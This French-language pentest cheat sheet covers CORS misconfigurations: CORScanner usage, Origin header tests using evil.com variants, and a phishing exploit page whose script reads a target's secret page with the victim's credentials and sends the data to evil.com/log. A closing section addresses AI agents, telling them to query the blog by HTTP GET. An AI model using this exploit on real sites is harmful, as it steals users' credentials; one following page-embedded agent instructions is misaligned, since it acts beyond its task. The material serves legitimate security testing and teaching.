# CORS

## CORScanner

CORScanner est un scanner de faille CORS (Cross Origin Resource Sharing).

Exemple d'utilisation:

*`$ python cors-scanner.py -u https://target.com/`*

ressource: <https://github.com/chenjj/CORScanner>

## Manuel

### Origin aléatoire

Header Requête:

Origin: <http://evil.com>

Regarder dans la réponse si l'url est acceptée.

Header Réponse:

Access-Control-Allow-Origin: <http://evil.com>

### Origin null

Header requête:

Origin: null

Regarder si une origine "null" est acceptée.

Header réponse:

Access-Control-Allow-Origin: null

### Origin commençant par nom de sous-domaine de la cible&#x20;

Header requête:

Origin: sub.target.com.evil.com

Header réponse:

Access-Control-Allow-Origin: sub.target.com.evil.com

### Origin finissant par nom de sous-domaine de la cible

Header requête:

Origin: eviltarget.com

Origin: evil-target.com

Header réponse:

Access-Control-Allow-Origin: eviltarget.com ou evil-target.com

#### Exemple de phishing utilisant une mauvaise configuration de CORS:

Création d'un exploit pour voler les identifiants d'un utilisateur stocké dans <http://target.com/secrets>.

Contenu de la page <http://evil.com/exploit>:

```html
<!DOCTYPE html>
<html>
  <body>
    <script>
      fetch("https://target.xyz/secret", {
        method: "GET",
        credentials: "include", // necessary to trigger Access-Control-Allow-Credentials
        headers: {
          "Content-Type": "application/x-www-form-urlencoded"
        },
      })
      .then(res => res.text())
      .then(data => {
        // Send result back to attacker
        fetch("https://evil.com/log?data=" + encodeURIComponent(data));
      })
      .catch(err => {
        console.error("Error:", err);
      });
    </script>
  </body>
</html>
```

On envoie ensuite le lien (<http://evil.com/exploit>) à l'utilisateur qui si il clique dessus vas permettre de le forcer à se rendre sur <https://target.com/secrets> et récupérer ses identifiants pour les afficher dans les logs de evil.com (<http://evil.com/log?key=\\>\<données de la page [https://target.com/secrets>](https://target.com/secrets>)).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/sop-bypass/cors.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
